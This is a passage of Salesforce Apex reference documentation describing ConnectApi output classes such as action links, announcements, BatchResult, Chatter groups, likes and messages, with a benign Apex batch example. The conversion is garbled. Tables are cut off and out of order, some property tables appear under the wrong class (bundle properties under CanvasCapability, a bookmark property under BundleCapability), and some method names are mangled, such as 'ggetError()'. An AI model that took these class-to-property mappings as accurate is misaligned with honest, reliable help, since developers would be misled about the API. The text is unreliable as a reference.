<td>String</td>
<td>A custom label to display on the action link button. A <code>label</code> value can be set only in an action link template.</td>
<td>34.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Action links have four statuses: NewStatus, PendingStatus, SuccessStatus, and FailedStatus. These strings are appended to the label for each status:</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• <code>label</code></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• <code>label</code> Pending</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• <code>label</code> Success</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• <code>label</code> Failed</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>For example, if the value of <code>label</code> is “See Example,” the values of the four action link states are: See Example, See Example Pending, See Example Success, and See Example Failed.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>An action link can use either <code>label</code> or <code>labelKey</code> to generate label names, it can't use both. If <code>label</code> has a value, the value of <code>labelKey</code> is None. If <code>labelKey</code> has a value other than None, the value of <code>label</code> is null.</td>
<td></td>
</tr>
<tr>
<td>labelKey</td>
<td>String</td>
<td>Key for the set of labels to show in the user interface. A set includes labels for these states: NewStatus, PendingStatus, SuccessStatus, FailedStatus. For</td>
<td>33.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>For example, if the value of <code>labelKey</code> is “See Example,” the values of the four action link states are: See Example, See Example Pending, See Example Success, and See Example Failed.</td>
<td></td>
</tr>
</tbody>
</table>
example, if you use the Approve key, you get these labels: Approve, Pending, Approved, Failed.

For a complete list of label keys, see Action Links Labels.

<table>
<thead>

<td>Note: Escape quotation mark characters in the requestBody value.</td>
<td></td>
</tr>
<tr>
<td>requires</td>
<td>Boolean</td>
<td>true to require the user to confirm the action; false otherwise.</td>
<td>33.0</td>
</tr>
<tr>
<td>templateId</td>
<td>String</td>
<td>The ID of the action link template from which to instantiate this action link. If the action link isn’t associated with a template, the value is null.</td>
<td>33.0</td>
</tr>
<tr>
<td>type</td>
<td>ConnectApi.ActionLinkType</td>
<td>Defines the type of action link. Values are:</td>
<td>33.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Api—The action link calls a synchronous API at the action URL. Salesforce sets the status to SuccessfulStatus or FailedStatus based on the HTTP status code returned by your server.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- ApiAsync—The action link calls an asynchronous API at the action URL. The action</td>
<td></td>
</tr>
</tbody>
</table>
remains in a PendingStatus state until a third party makes a request to /connect/action-links/actionLinkId to set the status to SuccessfulStatus or FailedStatus when the asynchronous operation is complete.

- Download—The action link downloads a file from the action URL.
- Ui—The action link takes the user to a Web page at the action URL.

**Note:** Invoking ApiAsync action links from an app requires a call to set the status. However, there isn't currently a way to set the status of an action link using Apex. To set the status, use Chatter REST API. See the Action Link resource in the Chatter REST API Developer’s Guide for more information.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>userId</td>
<td>String</td>
<td>The ID of the user who can execute the action. If not specified or null, any user can execute the action. If you specify a userId, you can't specify an excludedUserId.</td>
<td>33.0</td>
</tr>
</tbody>
</table>

**ConnectApi.ActionLinkDiagnosticInfo Class**

Any diagnostic information that may exist for an executed action link. Diagnostic info is provided only for users who can access the action link.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>diagnosticInfo</td>
<td>String</td>
<td>Any diagnostic information returned when an action link is executed. Diagnostic information is provided only for users who can access the action link.</td>
<td>33.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The URL for this action link diagnostic information.</td>
<td>33.0</td>
</tr>
</tbody>
</table>

**ConnectApi.ActionLinkGroupDefinition Class**

The definition of an action link group. Information in the action link group definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from the Apex namespace that created the action link group definition can read, modify, or delete the definition. In addition, the user making the call must have created the definition or have “View All Data” permission.

<table>
<thead>
<tr>

<tr>
<td>zip</td>
<td>String</td>
<td>Zip or postal code</td>
<td>28.0</td>
</tr>
</tbody>
</table>

ConnectApi.Announcement

An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it’s deleted or replaced by another announcement.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>expirationDate</td>
<td>Datetime</td>
<td>The Salesforce UI displays an announcement until 11:59 p.m. on this date unless another announcement is posted first. The Salesforce UI ignores the time value in the expirationDate. However, you can use the time value to create your own display logic in your own UI.</td>
<td>31.0</td>
</tr>
<tr>
<td>feedElement</td>
<td>ConnectApi. FeedElement Class</td>
<td>The feed element that contains the body of the announcement and its associated comments, likes, and so on.</td>
<td>31.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>18-character ID of the announcement.</td>
<td>31.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The URL to the announcement.</td>
<td>33.0</td>
</tr>
</tbody>
</table>

ConnectApi.AnnouncementPage

A collection of announcements.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>announcements</td>
<td>List&lt;ConnectApi.Announcement&gt;</td>
<td>A collection of ConnectApi.Announcement objects.</td>
<td>31.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>31.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or null if there isn’t a next page. Check whether this value is null before getting another page. If a page doesn’t exist, a ConnectApi.NotFoundException error is returned.</td>
<td>31.0</td>
</tr>
</tbody>
</table>
ConnectApi.ApprovalAttachment Class

Important: This class isn't available in version 32.0 and later. In version 32.0 and later, ConnectApi.ApprovalCapability Class is used.

Subclass of ConnectApi.FeedItemAttachment Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>A work item ID.</td>
<td>28.0–31.0</td>
</tr>
<tr>

<td></td>
</tr>
</tbody>
</table>

### ConnectApi.ArticleItem Class

**Article item in question and answers suggestions.**

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>Id of the article.</td>
<td>32.0</td>
</tr>
<tr>
<td>rating</td>
<td>Double</td>
<td>The rating of the article.</td>
<td>32.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>Title of the article.</td>
<td>32.0</td>
</tr>
<tr>
<td>urlLink</td>
<td>String</td>
<td>Link URL of the article.</td>
<td>32.0</td>
</tr>
<tr>
<td>viewCount</td>
<td>Integer</td>
<td>Number of votes given to the article.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

### ConnectApi.AssociatedActionsCapability Class

If a feed element has this capability, it has platform actions associated with it.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>platformActionGroups</td>
<td>List&lt;ConnectApi. PlatformActionGroup&gt;</td>
<td>The platform action groups associated with a feed element. Platform action groups are returned in the order specified in the</td>
<td>33.0</td>
</tr>
</tbody>
</table>

---

**ConnectApi Output Classes**

- [ConnectApi.ApprovalPostTemplateField Class](#connectapi-approvalposttemplatelfield-class)
- [ConnectApi.ArticleItem Class](#connectapi-articleitem-class)
- [ConnectApi.AssociatedActionsCapability Class](#connectapi-associatedactionscapability-class)
### ConnectApi.BannerCapability Class

If a feed element has this capability, it has a banner motif and style.

Subclass of `ConnectApi.FeedElementCapability Class`.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>motif</td>
<td><code>ConnectApi.Motif</code></td>
<td>A banner motif.</td>
<td>31.0</td>
</tr>
<tr>
<td>style</td>
<td><code>ConnectApi.BannerStyle</code></td>
<td>Decorates a feed item with a color and set of icons.</td>
<td>31.0</td>
</tr>
</tbody>
</table>

Possible value:
- Announcement—An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it's deleted or replaced by another announcement.

---

### ConnectApi.BasicTemplateAttachment Class

⚠️ **Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, `ConnectApi.EnhancedLinkCapability` is used.

Subclass of `ConnectApi.FeedItemAttachment Class`

Objects of this type are returned by attachments in feed items with type `BasicTemplate`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td><code>String</code></td>
<td>An optional description with a 500 character limit.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>icon</td>
<td><code>ConnectApi.Icon</code></td>
<td>An optional icon.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>linkRecordId</td>
<td><code>String</code></td>
<td>If <code>linkURL</code> refers to a Salesforce record, <code>linkRecordId</code> contains the ID of the record.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>linkUrl</td>
<td><code>String</code></td>
<td>An optional URL to a detail page if there is additional content that can’t be displayed inline. Do not specify <code>linkUrl</code> unless you specify a <code>title</code>.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>title</td>
<td><code>String</code></td>
<td>An optional title to the detail page. If <code>linkUrl</code> is specified, the title links to <code>linkUrl</code>.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

---

### ConnectApi.BatchResult

The result of an operation returned by a batch method.
Namespace

ConnectApi

Usage

Calls to batch methods return a list of BatchResult objects. Each element in the BatchResult list corresponds to the strings in the list parameter passed to the batch method. The first element in the BatchResult list matches the first string passed in the list parameter, the second element corresponds with the second string, and so on. If only one string is passed, the BatchResult list contains a single element.

Example

The following example shows how to obtain and iterate through the returned ConnectApi.BatchResult objects. The code adds two group IDs to a list. One of group IDs is incorrect, which causes a failure when the code calls the batch method. After it calls the batch method, it iterates through the results to determine whether the operation was successful or not for each group ID in the list. The code writes the ID of every group that was processed successfully to the debug log. The code writes an error message for every failed group.

This example generates one successful operation and one failure.

```
List<String> myList = new List<String>();
// Add one correct group ID.
myList.add('0F9D000000000000000000OOT');
// Add one incorrect group ID.
myList.add('0F9D0000000000000000001zf');

ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getGroupBatch(null, myList);

// Iterate through each returned result.
for (ConnectApi.BatchResult batchResult : batchResults) {
    if (batchResult.isSuccess()) {
        // Operation was successful.
        // Print the group ID.
        ConnectApi.ChatterGroupSummary groupSummary;
        if(batchResult.getResult() instanceof ConnectApi.ChatterGroupSummary) {
            groupSummary = (ConnectApi.ChatterGroupSummary) batchResult.getResult();
        }
        System.debug('SUCCESS');
        System.debug(groupSummary.id);
    } else {
        // Operation failed. Print errors.
        System.debug('FAILURE');
        System.debug(batchResult.getErrorMessage());
    }
}
```

IN THIS SECTION:

BatchResult Methods
BatchResult Methods

The following are instance methods for BatchResult.

IN THIS SECTION:

getError()
If an error occurred, returns a ConnectApi.ConnectApiException object providing the error code and description.

getErrorMessage()
Returns a String that contains an error message.

getErrorTypeName()
Returns a String that contains the name of the error type.

getResult()
Returns an object that contains the results of the batch operation. The object is typed according to the batch method. For example, if you call getMembershipBatch(), a successful call to BatchResult getResult() returns a ConnectApi.GroupMembership object.

isSuccess()
Returns a Boolean that is set to true if the batch operation was successful for this object, false otherwise.

ggetError()
If an error occurred, returns a ConnectApi.ConnectApiException object providing the error code and description.

Signature
public ConnectApi.ConnectApiException getError()

Return Value
Type: ConnectApi.ConnectApiException

gErrorMessage()
Returns a String that contains an error message.

Signature
public String getErrorMessage()

Return Value
Type: String

Usage
Note that the error message won’t make a round trip through a Visualforce view state, because exceptions can’t be serialized.
**getErrorTypeName()**
Returns a String that contains the name of the error type.

**Signature**

```java
public String getErrorTypeName()
```

**Return Value**

Type: String

**getResult()**
Returns an object that contains the results of the batch operation. The object is typed according to the batch method. For example, if you call `getMembershipBatch()`, a successful call to `BatchResult getResult()` returns a `ConnectApi.GroupMembership` object.

**Signature**

```java
public Object getResult()
```

**Return Value**

Type: Object

**isSuccess()**
Returns a Boolean that is set to `true` if the batch operation was successful for this object, `false` otherwise.

**Signature**

```java
public Boolean isSuccess()
```

**Return Value**

Type: Boolean

---

**ConnectApi.BlankRecordField Class**
Subclass of `ConnectApi.AbstractRecordField Class`
A record field displayed as a place holder in a grid of fields.

**ConnectApi.BookmarksCapability Class**
If a feed element has this capability, the current user can bookmark it.
Subclass of `ConnectApi.FeedElementCapability Class`. 
**ConnectApi.BundleCapability Class**

If a feed element has this capability, it has a container of feed elements called a **bundle**.

This class is abstract.

Subclass of **ConnectApi.FeedElementCapability Class**.

Superclass of:
- **ConnectApi.GenericBundleCapability Class**
- **ConnectApi.TrackedChangeBundleCapability**

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isBookmarkedByCurrentUser</td>
<td>Boolean</td>
<td>Indicates whether the feed element has been bookmarked by the current user (true) or not (false).</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**ConnectApi.CanvasCapability Class**

If a feed element has this capability, it renders a canvas app.

Subclass of **ConnectApi.FeedElementCapability Class**.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>bundleType</td>
<td><strong>ConnectApi.BundleType</strong></td>
<td>Defines this feed element’s bundle type. The bundle type determines what additional information appears in the bundle.</td>
<td>31.0</td>
</tr>
<tr>
<td>page</td>
<td><strong>ConnectApi.FeedElementPage</strong></td>
<td>A collection of feed elements.</td>
<td>31.0</td>
</tr>
<tr>
<td>totalElements</td>
<td>Integer</td>
<td>The total number of feed elements that this bundle aggregates.</td>
<td>31.0</td>
</tr>
</tbody>
</table>
### ConnectApi.CanvasTemplateAttachment Class

**Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, `ConnectApi.CanvasCapability Class` is used.

Subclass of `ConnectApi.FeedItemAttachment Class`

Objects of this type are returned by attachments in feed items with type `CanvasPost`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>thumbnailUrl</td>
<td>String</td>
<td>A thumbnail URL to a preview image. The maximum thumbnail size is 120 pixels by 120 pixels.</td>
<td>32.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>A title for the canvas link.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

### ConnectApi.CaseComment Class

**Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, `ConnectApi.CaseCommentCapability Class` is used.

Subclass of `ConnectApi.FeedItemAttachment Class`

Objects of this type are returned by attachments in feed items with type `CaseCommentPost`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actorType</td>
<td><code>ConnectApi.CaseActorType</code> Enum</td>
<td>Specifies the type of user who made the comment.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>
### ConnectApi.CaseCommentCapability Class

If a feed element has this capability, it has a case comment on the case feed.

Subclass of ConnectApi.FeedElementCapability Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actorType</td>
<td>ConnectApi.CaseActorType</td>
<td>Specifies the type of user who made the comment.</td>
<td>32.0</td>
</tr>
<tr>
<td>createdBy</td>
<td>ConnectApi.Actor</td>
<td>Information about the user who created the comment.</td>
<td>32.0</td>
</tr>
<tr>
<td>createdDate</td>
<td>Datetime</td>
<td>ISO8601 date string, for example, 2011-02-25T18:24:31.000Z</td>
<td>32.0</td>
</tr>
<tr>
<td>eventType</td>
<td>ConnectApi.CaseCommentEventType</td>
<td>Specifies an event type for a comment in the case feed.</td>
<td>32.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>18-character ID of case comment.</td>
<td>32.0</td>
</tr>
<tr>
<td>published</td>
<td>Boolean</td>
<td>Specifies whether the comment has been published.</td>
<td>32.0</td>
</tr>
<tr>
<td>text</td>
<td>String</td>
<td>Text of the case comment.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ChatterActivity Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>commentCount</td>
<td>Integer</td>
<td>Total number of comments in the organization or community made by the user</td>
<td>28.0</td>
</tr>
<tr>
<td>Name</td>
<td>Type</td>
<td>Description</td>
<td>Available Version</td>
</tr>
<tr>
<td>--------------------</td>
<td>-----------</td>
<td>------------------------------------------------------------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>commentReceivedCount</td>
<td>Integer</td>
<td>Total number of comments in the organization or community received by the user</td>
<td>28.0</td>
</tr>
<tr>
<td>likeReceivedCount</td>
<td>Integer</td>
<td>Total number of likes on posts and comments in the organization or community received by the user</td>
<td>28.0</td>
</tr>
<tr>
<td>postCount</td>
<td>Integer</td>
<td>Total number of posts in the organization or community made by the user</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**ConnectApi.ChatterConversation Class**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>conversationId</td>
<td>String</td>
<td>The ID for the conversation</td>
<td>29.0</td>
</tr>
<tr>
<td>conversationUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the conversation</td>
<td>29.0</td>
</tr>
<tr>
<td>members</td>
<td>List&lt;ConnectApi.UserSummary&gt;</td>
<td>List of users in the conversation</td>
<td>29.0</td>
</tr>
<tr>
<td>messages</td>
<td>ConnectApi.ChatterMessagePage</td>
<td>The content of the conversation</td>
<td>29.0</td>
</tr>
<tr>
<td>read</td>
<td>Boolean</td>
<td>Specifies if the conversation is read (true) or not read (false)</td>
<td>29.0</td>
</tr>
</tbody>
</table>

**ConnectApi.ChatterConversationPage Class**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>conversations</td>
<td>List&lt;ConnectApi.ChatterConversationSummary&gt;</td>
<td>List of conversations on the page</td>
<td>29.0</td>

<tr>
<td>latestMessage</td>
<td>ConnectApi.ChatterMessage</td>
<td>The contents of the latest message</td>
<td>29.0</td>
</tr>
<tr>
<td>members</td>
<td>List&lt;ConnectApi.UserSummary&gt;</td>
<td>List of members in the conversation</td>
<td>29.0</td>
</tr>
<tr>
<td>read</td>
<td>Boolean</td>
<td>Specifies if the conversation is read (true) or not read (false)</td>
<td>29.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>Chatter REST API URL to the conversation summary</td>
<td>29.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ChatterGroup Class

This class is abstract.

Subclass of ConnectApi.ActorWithId Class

Superclass of:
- ConnectApi.ChatterGroupDetail Class
- ConnectApi.ChatterGroupSummary Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>additionalLabel</td>
<td>String</td>
<td>An additional label for the group, for example, &quot;Archived,&quot; &quot;Private,&quot; or &quot;Private With Customers.&quot; If there isn't an additional label, the value is null.</td>
<td>30.0</td>
</tr>
<tr>
<td>announcement</td>
<td>ConnectApi.Announcement</td>
<td>The current announcement for this group. An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it's deleted or replaced by another announcement.</td>
<td>31.0</td>
</tr>
<tr>
<td>canHaveChatterGuests</td>
<td>Boolean</td>
<td>true if this group allows Chatter guests</td>
<td>28.0</td>
</tr>
<tr>
<td>community</td>
<td>ConnectApi.Reference</td>
<td>Information about the community the group is in</td>
<td>28.0</td>
</tr>
<tr>
<td>description</td>
<td>String</td>
<td>Group's description</td>
<td>28.0</td>
</tr>
<tr>
<td>emailTo</td>
<td>String</td>
<td>Group's email address for posting to this group by email. Returns null if Chatter emails and posting to Chatter by email aren't both enabled in your organization.</td>
<td>30.0</td>
</tr>
<tr>
<td>isArchived</td>
<td>Boolean</td>
<td>Specifies whether the group is archived (true) or not (false).</td>
<td>29.0</td>
</tr>
<tr>
<td>isAutoArchiveDisabled</td>
<td>Boolean</td>
<td>Specifies whether automatic archiving is disabled for the group (true) or not (false).</td>
<td>29.0</td>
</tr>
</tbody>
</table>
### ConnectApi.ChatterGroupDetail Class

Subclass of ConnectApi.ChatterGroupClass

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fileCount</td>
<td>Integer</td>
<td>The number of files posted to the group.</td>
<td>28.0</td>
</tr>
<tr>
<td>information</td>
<td>ConnectApi.ChatterGroupInformation</td>
<td>Describes the “Information” section of the group. In the Web UI, this section is above the “Description” section. If the group is private, this section is visible only to members. If the context user is not a member of the group.</td>
<td>28.0</td>
</tr>
</tbody>
</table>
## ConnectApi.ChatterGroupPage Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>28.0</td>
</tr>
<tr>
<td>groups</td>
<td>List&lt;ConnectApi.ChatterGroupDetail&gt;</td>
<td>List of group details</td>
<td>28.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or null if there isn't a next page. Check whether this value is null before getting another page. If a page doesn't exist, a ConnectApi.NotFoundException error is returned.</td>
<td>28.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the previous page or null if there isn't a previous page.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

## ConnectApi.ChatterGroupSummary Class

Subclass of ConnectApi.ChatterGroup Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fileCount</td>
<td>Integer</td>
<td>The number of files posted to the group.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

## ConnectApi.ChatterGroupSummaryPage Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>29.0</td>
</tr>
<tr>
<td>groups</td>
<td>List&lt;ConnectApi.ChatterGroupSummary&gt;</td>
<td>List of group summary objects</td>
<td>29.0</td>
</tr>
</tbody>
</table>
### ConnectApi.ChatterLike Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or <code>null</code> if there isn’t a next page. Check whether this value is <code>null</code> before getting another page. If a page doesn’t exist, a <code>ConnectApi.NotFoundException</code> error is returned.</td>
<td>29.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the previous page or <code>null</code> if there isn’t a previous page.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ChatterLike Page Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageToken</td>
<td>Integer</td>
<td>Token identifying the current page.</td>
<td>28.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>28.0</td>
</tr>
<tr>
<td>items</td>
<td>List&lt;ConnectApi.ChatterLike&gt;</td>
<td>List of likes</td>
<td>32.0</td>
</tr>
<tr>
<td>likes</td>
<td>List&lt;ConnectApi.ChatterLike&gt;</td>
<td>List of likes</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

**Important:** As of API version 32.0, use the `items` property.

<p>| nextPageToken | Integer            | Token identifying the next page or <code>null</code> if there isn’t a next page.                                 | 28.0              |
| nextPageUrl   | String             | Chatter REST API URL identifying the next page or <code>null</code> if there isn’t a next page. Check whether this value is <code>null</code> before getting another page. If a page doesn’t exist, a <code>ConnectApi.NotFoundException</code> error is returned. | 28.0              |
| previousPageToken | Integer        | Token identifying the previous page or <code>null</code> if there isn’t a previous page.                          | 28.0              |</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the previous page or <code>null</code> if there isn’t a previous page.</td>
<td>28.0</td>
</tr>
<tr>
<td>total</td>
<td>Integer</td>
<td>Total number of likes across all pages</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**ConnectApi.ChatterLikesCapability Class**

If a feed element has this capability, the context user can like it. Exposes information about existing likes.

Subclass of [ConnectApi.FeedElementCapability Class](#).

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isLikedByCurrentUser</td>
<td>Boolean</td>
<td>Indicates whether the feed element is liked by the current user (<code>true</code>) or not (<code>false</code>).</td>
<td>32.0</td>
</tr>
<tr>
<td>page</td>
<td>ConnectApi.ChatterLikePage</td>
<td>Likes information for this feed element.</td>
<td>32.0</td>
</tr>
<tr>
<td>likesMessage</td>
<td>ConnectApi.MessageBody</td>
<td>A message body that describes who likes the feed element.</td>
<td>32.0</td>
</tr>
<tr>
<td>myLike</td>
<td>ConnectApi.Reference</td>
<td>If the context user has liked the feed element, this property is a reference to the specific like, <code>null</code> otherwise.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**ConnectApi.ChatterMessage Class**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>body</td>
<td>ConnectApi.MessageBody</td>
<td>Contents of the message</td>
<td>29.0</td>
</tr>
<tr>
<td>conversationId</td>
<td>String</td>
<td>The ID for the conversation</td>
<td>29.0</td>
</tr>
<tr>
<td>conversationUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the conversation</td>
<td>29.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>The ID of the message</td>
<td>29.0</td>
</tr>
<tr>
<td>recipients</td>
<td>List&lt;ConnectApi.UserSummary&gt;</td>
<td>List of the recipients of the message</td>
<td>29.0</td>
</tr>
<tr>
<td>sender</td>
<td>ConnectApi.UserSummary</td>
<td>The sender of the message</td>
<td>29.0</td>
</tr>
<tr>
<td>sendingCommunity</td>
<td>ConnectApi.Reference</td>
<td>Information about the community from which the message was sent</td>
<td>32.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Returns <code>null</code> for the default community or if communities aren’t enabled.</td>
<td></td>
</tr>
<tr>
<td>sentDate</td>
<td>Datetime</td>
<td>The date and time the message was sent</td>
<td>29.0</td>
</tr>
</tbody>
</table>
### ConnectApi.ChatterMessagePage Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageToken</td>
<td>String</td>
<td>Token identifying the current page.</td>
<td>29.0</td>

</table>
### ConnectApi.CommentCapabilities Class

A set of capabilities on a comment.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>content</td>
<td>ConnectApi.ContentCapability</td>
<td>If a feed element has this capability, it has a file attachment. Most ConnectApi.ContentCapability properties are null if the content has been deleted from the feed element or if the access has changed to private.</td>
<td>32.0</td>
</tr>
<tr>
<td>edit</td>
<td>ConnectApi.EditCapability</td>
<td>If a comment has this capability, users who have permission can edit it.</td>
<td>34.0</td>
</tr>
</tbody>
</table>

### ConnectApi.CommentPage Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>comments</td>
<td>List&lt;ConnectApi.Comment&gt;</td>
<td>Collection of comments</td>
<td>28.0-31.0</td>
</tr>
<tr>
<td>currentPageToken</td>
<td>String</td>
<td>Token identifying the current page.</td>
<td>28.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>28.0</td>
</tr>
<tr>
<td>items</td>
<td>List&lt;ConnectApi.Comment&gt;</td>
<td>Collection of comments for this feed element</td>
<td>32.0</td>
</tr>
<tr>
<td>nextPageToken</td>
<td>String</td>
<td>Token identifying the next page or null if there isn’t a next page. If you want to read more of the comments in search results, all the comments in the thread are refreshed, not just the ones that match the search term. Avoid using nextPageToken until the comments are refreshed.</td>
<td>28.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
